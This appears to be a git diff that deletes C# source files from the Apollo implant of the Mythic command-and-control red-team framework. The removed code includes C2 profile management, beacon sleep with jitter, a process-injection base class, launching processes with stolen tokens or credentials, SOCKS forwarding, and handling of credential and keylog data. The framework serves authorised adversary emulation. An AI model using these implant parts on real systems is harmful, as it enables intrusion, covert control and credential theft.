-using System.Collections.Generic; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using System.IO.Pipes; -using ApolloInterop.Structs.ApolloStructs; -using System.Text; -using System.Threading; -using System.Linq; -using System.Collections.Concurrent; -using ApolloInterop.Classes.Core; -using ApolloInterop.Classes.Events; -using ApolloInterop.Enums.ApolloEnums; -using System.Runtime.InteropServices; -using ApolloInterop.Utils; - -namespace Apollo -{ - class Program - { - private static JsonSerializer _jsonSerializer = new JsonSerializer(); - private static AutoResetEvent _receiverEvent = new AutoResetEvent(false); - private static ConcurrentQueue _receiverQueue = new ConcurrentQueue(); - private static ConcurrentDictionary> MessageStore = new ConcurrentDictionary>(); - private static AutoResetEvent _connected = new AutoResetEvent(false); - private static ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private static Action _sendAction; - private static CancellationTokenSource _cancellationToken = new CancellationTokenSource(); - private static AutoResetEvent _senderEvent = new AutoResetEvent(false); - private static AutoResetEvent _complete = new AutoResetEvent(false); - private static bool _completed; - private static Action _flushMessages; - public enum RPC_AUTHN_LEVEL - { - PKT_PRIVACY = 6 - } - - public enum RPC_IMP_LEVEL - { - IMPERSONATE = 3 - } - - public enum EOLE_AUTHENTICATION_CAPABILITIES - { - DYNAMIC_CLOAKING = 0x40 - } - [DllImport("ole32.dll")] - static extern int CoInitializeSecurity(IntPtr pSecDesc, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1, RPC_AUTHN_LEVEL dwAuthnLevel, RPC_IMP_LEVEL dwImpLevel, IntPtr pAuthList, EOLE_AUTHENTICATION_CAPABILITIES dwCapabilities, IntPtr pReserved3); - // we need this to happen first so we can use impersonation tokens with wmiexecute - static readonly int _security_init = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, RPC_AUTHN_LEVEL.PKT_PRIVACY, RPC_IMP_LEVEL.IMPERSONATE, IntPtr.Zero, EOLE_AUTHENTICATION_CAPABILITIES.DYNAMIC_CLOAKING, IntPtr.Zero); - public static void Main(string[] args) - { - if (_security_init != 0) - { - DebugHelp.DebugWriteLine($"CoInitializeSecurity status: {_security_init}"); - } - Agent.Apollo ap = new Agent.Apollo(Config.PayloadUUID); - ap.Start(); - } - - private static void Client_Disconnect(object sender, NamedPipeMessageArgs e) - { - e.Pipe.Close(); - _complete.Set(); - } - - private static void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) - { - System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token); - } - - private static void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - // Potentially delete this since theoretically the sender Task does everything - if (pipe.IsConnected) - { - pipe.EndWrite(result); - if (!_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] bdata)) - { - pipe.BeginWrite(bdata, 0, bdata.Length, OnAsyncMessageSent, pipe); - } - } - } - - private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args) - { - IPCData d = args.Data; - string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray()); - Console.Write(msg); - } - - private static void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs args) - { - MessageType mt = args.Chunks[0].Message; - List data = new List(); - - for (int i = 0; i < args.Chunks.Length; i++) - { - data.AddRange(Convert.FromBase64String(args.Chunks[i].Data)); - } - - IMythicMessage msg = _jsonSerializer.DeserializeIPCMessage(data.ToArray(), mt); - //Console.WriteLine("We got a message: {0}", mt.ToString()); - _receiverQueue.Enqueue(msg); - _receiverEvent.Set(); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Properties/AssemblyInfo.cs deleted file mode 100644 index 6351b238..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("Apollo")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Apollo")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("f606a86c-39af-4b5a-b146-f14edc1d762c")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/app.config b/Payload_Type/apollo/apollo/agent_code/Apollo/app.config deleted file mode 100644 index fcd0c937..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/app.config +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/packages.config b/Payload_Type/apollo/apollo/agent_code/Apollo/packages.config deleted file mode 100644 index de7934ce..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloIcoJPEG.ico b/Payload_Type/apollo/apollo/agent_code/ApolloIcoJPEG.ico deleted file mode 100644 index dba7130a..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/ApolloIcoJPEG.ico and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/ApolloInterop.csproj b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/ApolloInterop.csproj deleted file mode 100644 index 3565a9f8..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/ApolloInterop.csproj +++ /dev/null @@ -1,26 +0,0 @@ - - - net451 - Library - 12 - enable - false - AnyCPU;x64;x86 - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Api/Library.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Api/Library.cs deleted file mode 100644 index 43ead862..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Api/Library.cs +++ /dev/null @@ -1,29 +0,0 @@ -namespace ApolloInterop.Classes.Api -{ - public class Library - { - public string Value { get; private set; } - private Library(string libraryName) - { - Value = libraryName; - } - - public override string ToString() - { - return Value; - } - - public static Library NTDLL { get { return new Library("ntdll.dll"); } } - public static Library ADVAPI32 { get { return new Library("advapi32.dll"); } } - public static Library KERNEL32 { get { return new Library("kernel32.dll"); } } - public static Library USER32 { get { return new Library("user32.dll"); } } - public static Library USERENV { get { return new Library("userenv.dll"); } } - public static Library SHELL32 { get { return new Library("shell32.dll"); } } - public static Library SAMCLI { get { return new Library("samcli.dll"); } } - public static Library NETUTILS { get { return new Library("netutils.dll"); } } - public static Library NETAPI32 { get { return new Library("Netapi32.dll"); } } - public static Library SRVCLI { get { return new Library("srvcli.dll"); } } - public static Library IPHLPAPI { get { return new Library("iphlpapi.dll"); } } - public static Library SECUR32 { get { return new Library("Secur32.dll"); } } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Collections/ThreadSafeList.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Collections/ThreadSafeList.cs deleted file mode 100644 index 124794dc..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Collections/ThreadSafeList.cs +++ /dev/null @@ -1,147 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; - -namespace ApolloInterop.Classes.Collections -{ - public class ThreadSafeList : IList - { - List _collection = new List(); - - public T this[int index] { get => GetIndexedItem(index); set => SetIndexedItem(index, value); } - - - private void SetIndexedItem(int index, T val) - { - lock(_collection) - { - _collection[index] = val; - } - } - - private T GetIndexedItem(int index) - { - T item; - lock(_collection) - { - item = _collection[index]; - } - return item; - } - - public int Count() - { - int count = 0; - lock(_collection) - { - count = _collection.Count; - } - return count; - } - - public bool IsReadOnly => false; - - int ICollection.Count => Count(); - - public void Add(T obj) - { - lock(_collection) - { - _collection.Add(obj); - } - } - - public void Clear() - { - lock(_collection) - { - _collection.Clear(); - } - } - - public bool Contains(T item) - { - bool bRet; - lock(_collection) - { - bRet = _collection.Contains(item); - } - return bRet; - } - - public void CopyTo(T[] array, int arrayIndex) - { - lock(_collection) - { - Buffer.BlockCopy(_collection.ToArray(), 0, array, arrayIndex, _collection.Count); - } - } - - public IEnumerator GetEnumerator() - { - IEnumerator res; - lock(_collection) - { - res = _collection.GetEnumerator(); - } - return res; - } - - public int IndexOf(T item) - { - int i = -1; - lock(_collection) - { - i = _collection.IndexOf(item); - } - return i; - } - - public void Insert(int index, T item) - { - lock(_collection) - { - _collection[index] = item; - } - } - - public bool Remove(T obj) - { - bool bRet = false; - lock(_collection) - { - bRet = _collection.Remove(obj); - } - return bRet; - } - - public void RemoveAt(int index) - { - lock(_collection) - { - _collection.RemoveAt(index); - } - } - - IEnumerator IEnumerable.GetEnumerator() - { - IEnumerator res; - lock(_collection) - { - res = _collection.GetEnumerator(); - } - return res; - } - - public T[] Flush() - { - T[] result; - lock(_collection) - { - result = _collection.ToArray(); - _collection.Clear(); - } - return result; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Agent.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Agent.cs deleted file mode 100644 index 1c24ff1d..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Agent.cs +++ /dev/null @@ -1,115 +0,0 @@ -using System; -using System.Threading; -using ApolloInterop.Features.KerberosTickets; -using ApolloInterop.Interfaces; - -namespace ApolloInterop.Classes -{ - public abstract class Agent : IAgent - { - private static Mutex _outputLock = new Mutex(); - public int SleepInterval { get; protected set; } = 0; - public double Jitter { get; protected set; } = 0; - protected AutoResetEvent _sleepReset = new AutoResetEvent(false); - protected AutoResetEvent _exit = new AutoResetEvent(false); - protected WaitHandle[] _agentSleepHandles; - public bool Alive { get; protected set; } = true; - - protected Random random = new Random((int)DateTime.UtcNow.Ticks); - - public IPeerManager PeerManager { get; protected set; } - public ITaskManager TaskManager { get; protected set; } - public ISocksManager SocksManager { get; protected set; } - public IRpfwdManager RpfwdManager { get; protected set; } - public IApi Api { get; protected set; } - public IC2ProfileManager C2ProfileManager { get; protected set; } - public ICryptographySerializer Serializer { get; protected set; } - public IFileManager FileManager { get; protected set; } - public IIdentityManager IdentityManager { get; protected set; } - public IProcessManager ProcessManager { get; protected set; } - public IInjectionManager InjectionManager { get; protected set; } - - public ITicketManager TicketManager { get; protected set; } - public string UUID { get; protected set; } - - public Agent(string uuid) - { - UUID = uuid; - _agentSleepHandles = new WaitHandle[] - { - _sleepReset, - _exit - }; - } - - public abstract void Start(); - public virtual void Exit() { Alive = false; _exit.Set(); } - public virtual void SetSleep(int seconds, double jitter=0) - { - SleepInterval = seconds * 1000; - Jitter = jitter; - if (Jitter != 0) - { - Jitter = Jitter / 100.0; - } - _sleepReset.Set(); - } - - public virtual IApi GetApi() - { - return Api; - } - public virtual void Sleep(WaitHandle[] handles = null) - { - int sleepTime = SleepInterval; - if (Jitter != 0) - { - int minSleep = (int)(SleepInterval * (1 - Jitter)); - int maxSleep = (int)(SleepInterval * (Jitter + 1)); - sleepTime = (int)(random.NextDouble() * (maxSleep - minSleep) + minSleep); - } - WaitHandle[] sleepers = _agentSleepHandles; - if (handles != null) - { - WaitHandle[] tmp = new WaitHandle[handles.Length + sleepers.Length]; - Array.Copy(handles, tmp, handles.Length); - Array.Copy(sleepers, 0, tmp, handles.Length, sleepers.Length); - sleepers = tmp; - } - WaitHandle.WaitAny(sleepers, sleepTime); - } - - public void AcquireOutputLock() - { - _outputLock.WaitOne(); - } - - public void ReleaseOutputLock() - { - _outputLock.ReleaseMutex(); - } - - public virtual bool IsAlive() { return Alive; } - - public virtual ITaskManager GetTaskManager() { return TaskManager; } - public virtual IPeerManager GetPeerManager() { return PeerManager; } - public virtual ISocksManager GetSocksManager() { return SocksManager; } - public virtual IRpfwdManager GetRpfwdManager() { return RpfwdManager; } - public virtual IC2ProfileManager GetC2ProfileManager() { return C2ProfileManager; } - public virtual ICryptographySerializer GetCryptographySerializer() { return Serializer; } - public virtual IFileManager GetFileManager() { return FileManager; } - public virtual IIdentityManager GetIdentityManager() { return IdentityManager; } - public virtual IProcessManager GetProcessManager() { return ProcessManager; } - public virtual IInjectionManager GetInjectionManager() { return InjectionManager; } - - public virtual ITicketManager GetTicketManager() { return TicketManager; } - public string GetUUID() - { - return UUID; - } - public void SetUUID(string newUUID){ - UUID = newUUID; - } - - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/C2Profile.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/C2Profile.cs deleted file mode 100644 index 0ac47a19..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/C2Profile.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System.Collections.Generic; -using ApolloInterop.Interfaces; -using System.Collections.Concurrent; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Classes.Core; - -namespace ApolloInterop.Classes -{ - public abstract class C2Profile - { - protected const int MAX_RETRIES = 10; - protected ISerializer Serializer; - protected IAgent Agent; - protected bool Connected = false; - protected ConcurrentDictionary> MessageStore = new ConcurrentDictionary>(); - public C2Profile(Dictionary parameters, ISerializer serializer, IAgent agent) - { - Agent = agent; - Serializer = serializer; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/C2ProfileManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/C2ProfileManager.cs deleted file mode 100644 index 7ea4fafc..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/C2ProfileManager.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using ApolloInterop.Interfaces; - -namespace ApolloInterop.Classes -{ - public abstract class C2ProfileManager : IC2ProfileManager - { - protected IAgent Agent; - protected ConcurrentBag EgressProfiles = new ConcurrentBag(); - protected ConcurrentBag IngressProfiles = new ConcurrentBag(); - - public C2ProfileManager(IAgent agent) - { - Agent = agent; - } - - public abstract IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary parameters); - - public virtual bool AddEgress(IC2Profile profile) - { - EgressProfiles.Add(profile); - return true; - } - - public virtual bool AddIngress(IC2Profile profile) - { - IngressProfiles.Add(profile); - return true; - } - - public virtual IC2Profile[] GetEgressCollection() - { - return EgressProfiles.ToArray(); - } - - public virtual IC2Profile[] GetIngressCollection() - { - return IngressProfiles.ToArray(); - } - - public virtual IC2Profile[] GetConnectedEgressCollection() - { - List connected = new List(); - foreach(var c2 in EgressProfiles.ToArray()) - { - if (c2.IsConnected()) - connected.Add(c2); - } - return connected.ToArray(); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/ChunkedMessageStore.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/ChunkedMessageStore.cs deleted file mode 100644 index 856af843..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/ChunkedMessageStore.cs +++ /dev/null @@ -1,36 +0,0 @@ -using ApolloInterop.Classes.Events; -using ApolloInterop.Interfaces; -using System; - -namespace ApolloInterop.Classes.Core -{ - public class ChunkedMessageStore where T : IChunkMessage - { - private T[] _messages = null; - private object _lock = new object(); - private int _currentCount = 0; - - public event EventHandler> ChunkAdd; - public event EventHandler> MessageComplete; - public void OnMessageComplete() => MessageComplete?.Invoke(this, new ChunkMessageEventArgs(_messages)); - public void AddMessage(T d) - { - lock(_lock) - { - if (_messages == null) - { - _messages = new T[d.GetTotalChunks()]; - } - _messages[d.GetChunkNumber()-1] = d; - _currentCount += 1; - } - if (_currentCount == d.GetTotalChunks()) - { - OnMessageComplete(); - } else - { - ChunkAdd?.Invoke(this, new ChunkMessageEventArgs(new T[1] { d })); - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/InjectionTechnique.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/InjectionTechnique.cs deleted file mode 100644 index 8edef14a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/InjectionTechnique.cs +++ /dev/null @@ -1,83 +0,0 @@ -using ApolloInterop.Classes.Api; -using ApolloInterop.Interfaces; -using static ApolloInterop.Enums.Win32; -using System; -using System.ComponentModel; - -namespace ApolloInterop.Classes.Core -{ - public abstract class InjectionTechnique : IInjectionTechnique - { - protected byte[] _code; - protected int _processId; - protected IntPtr _hProcess = IntPtr.Zero; - protected IAgent _agent; - protected delegate IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int pid); - protected delegate bool DuplicateHandle( - IntPtr hSourceProcessHandle, - IntPtr hSourceHandle, - IntPtr hTargetProcessHandle, - out IntPtr lpTargetHandle, - ProcessAccessFlags dwDesiredAccess, - bool bInheritHandle, - int dwOptions); - protected delegate void CloseHandle(IntPtr hHandle); - - protected OpenProcess _pOpenProcess; - protected DuplicateHandle _pDuplicateHandle; - protected CloseHandle _pCloseHandle; - - // Dangerous - should only be used when resolving - // critical functions _pOpenProcess, _pDuplicateHandle, - // and _pCloseHandle. - public InjectionTechnique() - { - - } - public InjectionTechnique(IAgent agent, byte[] code, int pid) - { - _code = code; - _processId = pid; - _agent = agent; - ResolveCriticalFunctions(); - _hProcess = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, pid); - } - - public InjectionTechnique(IAgent agent, byte[] code, IntPtr hProcess) - { - _code = code; - _agent = agent; - - ResolveCriticalFunctions(); - bool bRet = _pDuplicateHandle( - System.Diagnostics.Process.GetCurrentProcess().Handle, - hProcess, - hProcess, - out _hProcess, - ProcessAccessFlags.MAXIMUM_ALLOWED, - false, - 0); - if (!bRet) - { - throw new Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error()); - } - } - - ~InjectionTechnique() - { - if (_hProcess != IntPtr.Zero) - { - _pCloseHandle(_hProcess); - } - } - - private void ResolveCriticalFunctions() - { - _pOpenProcess = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "OpenProcess"); - _pDuplicateHandle = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "DuplicateHandle"); - _pCloseHandle = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CloseHandle"); - } - - public abstract bool Inject(string arguments = ""); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Process.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Process.cs deleted file mode 100644 index 69223eb7..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Process.cs +++ /dev/null @@ -1,96 +0,0 @@ -using ApolloInterop.Classes.Api; -using ApolloInterop.Classes.Events; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.ApolloStructs; -using System; - -namespace ApolloInterop.Classes.Core -{ - public abstract class Process : IProcess - { - public string Application { get; protected set; } - public string CommandLine { get; protected set; } - protected bool _startSuspended; - public bool HasExited { get; protected set; } - public int ExitCode { get; protected set; } - public uint PID { get; protected set; } - public string StdOut { get; protected set; } = ""; - public string StdErr { get; protected set; } = ""; - public IntPtr Handle { get; protected set; } - protected IAgent _agent; - private delegate ulong RtlNtStatusToDosError(int status); - public event EventHandler OutputDataReceived; - public event EventHandler ErrorDataReceieved; - public event EventHandler Exit; - - public void OnOutputDataReceived(object sender, StringDataEventArgs args) - { - OutputDataReceived?.Invoke(sender, args); - } - - public void OnErrorDataRecieved(object sender, StringDataEventArgs args) - { - ErrorDataReceieved?.Invoke(sender, args); - } - - public abstract void Kill(); - - public void OnExit(object sender, EventArgs args) - { - Exit?.Invoke(sender, args); - } - public Process(IAgent agent, string lpApplication, string lpArguments = null, bool startSuspended = false) - { - _agent = agent; - if (string.IsNullOrEmpty(lpApplication) && string.IsNullOrEmpty(lpArguments)) - { - throw new Exception("Application and arguments cannot be null."); - } - if (string.IsNullOrEmpty(lpArguments)) - { - CommandLine = lpApplication; - Application = lpApplication; - } - else if (string.IsNullOrEmpty(lpApplication)) - { - CommandLine = lpArguments; - } - else - { - Application = lpApplication; - CommandLine = $"{lpApplication} {lpArguments}"; - } - _startSuspended = startSuspended; - } - - public int? GetExitCodeHResult() - { - const uint HRESULT_MASK = 0x80070000; - - if (!HasExited) - { - return null; - } - - var rtlNtStatusToDosError = _agent.GetApi().GetLibraryFunction(Library.NTDLL, "RtlNtStatusToDosError"); - if (rtlNtStatusToDosError == null) - { - return null; - } - - return unchecked((int)(rtlNtStatusToDosError(ExitCode) | HRESULT_MASK)); - } - - public abstract bool Inject(byte[] code, string arguments = ""); - - public abstract bool Start(); - - public abstract bool StartWithCredentials(ApolloLogonInformation logonInfo); - - public abstract bool StartWithCredentials(IntPtr hToken); - - public abstract void WaitForExit(); - - public abstract void WaitForExit(int milliseconds); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/RpfwdManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/RpfwdManager.cs deleted file mode 100644 index fcd8d19c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/RpfwdManager.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; -using System.Net.Sockets; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace ApolloInterop.Classes -{ - public abstract class RpfwdManager : IRpfwdManager - { - protected IAgent _agent; - - public RpfwdManager(IAgent agent) - { - _agent = agent; - } - - public virtual bool AddConnection(TcpClient client, int ServerID, int port, int debugLevel, Tasking task) - { - throw new NotImplementedException(); - } - - public virtual bool Route(SocksDatagram dg) - { - throw new NotImplementedException(); - } - - public virtual bool Remove(int id) - { - throw new NotImplementedException(); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/SocksManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/SocksManager.cs deleted file mode 100644 index bfd0439c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/SocksManager.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace ApolloInterop.Classes -{ - public abstract class SocksManager : ISocksManager - { - protected IAgent _agent; - - public SocksManager(IAgent agent) - { - _agent = agent; - } - - public virtual bool Route(SocksDatagram dg) - { - throw new NotImplementedException(); - } - - public virtual bool Remove(int id) - { - throw new NotImplementedException(); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Tasking.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Tasking.cs deleted file mode 100644 index 4efe0db9..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Core/Tasking.cs +++ /dev/null @@ -1,129 +0,0 @@ -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Enums.ApolloEnums; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Threading; -using ApolloInterop.Serializers; - -namespace ApolloInterop.Classes -{ - public abstract class Tasking : ITask - { - protected IAgent _agent; - protected MythicTask _data; - protected static JsonSerializer _jsonSerializer = new JsonSerializer(); - protected CancellationTokenSource _cancellationToken; - public Tasking(IAgent agent, MythicTask data) - { - _agent = agent; - _data = data; - _cancellationToken = new CancellationTokenSource(); - } - - public string ID() - { - return _data.ID; - } - - public abstract void Start(); - - public virtual System.Threading.Tasks.Task CreateTasking() - { - return new System.Threading.Tasks.Task(() => - { - using (_agent.GetIdentityManager().GetCurrentImpersonationIdentity().Impersonate()) - { - Start(); - } - }, _cancellationToken.Token); - } - - public virtual void Kill() - { - _cancellationToken.Cancel(); - } - - public virtual MythicTaskResponse CreateTaskResponse(object userOutput, bool completed, string? status = null, IEnumerable? messages = null) - { - MythicTaskResponse resp = new MythicTaskResponse(); - resp.UserOutput = userOutput; - resp.Completed = completed; - resp.TaskID = _data.ID; - resp.Status = status; - if (messages != null) - { - List edges = new List(); - List creds = new List(); - List removed = new List(); - List artifacts = new List(); - List processes = new List(); - List cmds = new List(); - List keylogs = new List(); - foreach (IMythicMessage msg in messages) - { - switch (msg.GetTypeCode()) - { - case MessageType.CommandInformation: - cmds.Add((CommandInformation)msg); - break; - case MessageType.EdgeNode: - edges.Add((EdgeNode)msg); - break; - case MessageType.FileBrowser: - resp.FileBrowser = (FileBrowser)msg; - break; - case MessageType.Credential: - creds.Add((Credential)msg); - break; - case MessageType.RemovedFileInformation: - removed.Add((RemovedFileInformation)msg); - break; - case MessageType.Artifact: - artifacts.Add((Artifact)msg); - break; - case MessageType.UploadMessage: - resp.Upload = (UploadMessage)msg; - break; - case MessageType.DownloadMessage: - resp.Download = (DownloadMessage)msg; - break; - case MessageType.ProcessInformation: - processes.Add((ProcessInformation)msg); - break; - case MessageType.KeylogInformation: - keylogs.Add((KeylogInformation)msg); - break; - case MessageType.CallbackUpdate: - resp.Callback = (CallbackUpdate)msg; - break; - default: - throw new Exception($"Unhandled message type while generating response: {msg.GetTypeCode()}"); - } - } - resp.Edges = edges.ToArray(); - resp.Credentials = creds.ToArray(); - resp.RemovedFiles = removed.ToArray(); - resp.Artifacts = artifacts.ToArray(); - resp.Commands = cmds.ToArray(); - resp.Keylogs = keylogs.ToArray(); - if (processes.Count > 0) - { - resp.Processes = processes.ToArray(); - } - } - return resp; - } - - public virtual MythicTaskResponse CreateArtifactTaskResponse(IEnumerable artifacts) - { - var artifactMessages = new IMythicMessage[artifacts.Count()]; - for (int i = 0; i < artifacts.Count(); i++) - { - artifactMessages[i] = artifacts.ElementAt(i); - } - return CreateTaskResponse("", false, "", artifactMessages); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/AesRoutine.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/AesRoutine.cs deleted file mode 100644 index 4e9a41cd..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/AesRoutine.cs +++ /dev/null @@ -1,80 +0,0 @@ -using System.IO; -using System.Security.Cryptography; -using ApolloInterop.Interfaces; - -namespace ApolloInterop.Classes.Cryptography -{ - public class AesRoutine : ICryptographicRoutine - { - private readonly Aes _aes; - - public AesRoutine() - { - _aes = Aes.Create(); - } - - public AesRoutine(Aes aes) - { - _aes = aes; - } - - public byte[] Encrypt(byte[] plaintext) - { - byte[] encrypted; - - // Create an Aes object - // with the specified key and IV. - using (Aes aesAlg = Aes.Create()) - { - aesAlg.Key = _aes.Key; - aesAlg.IV = _aes.IV; - - // Create an encryptor to perform the stream transform. - ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV); - - // Create the streams used for encryption. - using (MemoryStream msEncrypt = new MemoryStream()) - { - using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write)) - { - csEncrypt.Write(plaintext, 0, plaintext.Length); - } - encrypted = msEncrypt.ToArray(); - } - } - - // Return the encrypted bytes from the memory stream. - return encrypted; - } - - public byte[] Decrypt(byte[] encrypted) - { - byte[] plaintext; - // Create an Aes object - // with the specified key and IV. - using (Aes aesAlg = Aes.Create()) - { - aesAlg.Key = _aes.Key; - aesAlg.IV = _aes.IV; - - // Create a decryptor to perform the stream transform. - ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); - - // Create the streams used for decryption. - using (MemoryStream msDecrypt = new MemoryStream(encrypted)) - { - using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) - { - using (BinaryReader brDecrypt = new BinaryReader(csDecrypt)) - { - plaintext = brDecrypt.ReadBytes((int)msDecrypt.Length); - } - } - } - } - - return plaintext; - } - - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/CryptographyProvider.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/CryptographyProvider.cs deleted file mode 100644 index f5cba35a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/CryptographyProvider.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System; -using System.Text; -using ApolloInterop.Interfaces; - -namespace ApolloInterop.Classes -{ - abstract public class CryptographyProvider : ICryptography - { - public byte[] PSK { get; private set; } - protected byte[] UUID { get; private set; } - public bool UUIDUpdated { get; private set; } = false; - - public CryptographyProvider(string uuid, string key) - { - PSK = Convert.FromBase64String(key); - UUID = ASCIIEncoding.ASCII.GetBytes(uuid); - } - - // UUID should only be updated once after agent registration. - public bool UpdateUUID(string uuid) - { - UUID = ASCIIEncoding.ASCII.GetBytes(uuid); - UUIDUpdated = true; - return true; - } - - virtual public bool UpdateKey(string key) - { - PSK = Convert.FromBase64String(key); - return true; - } 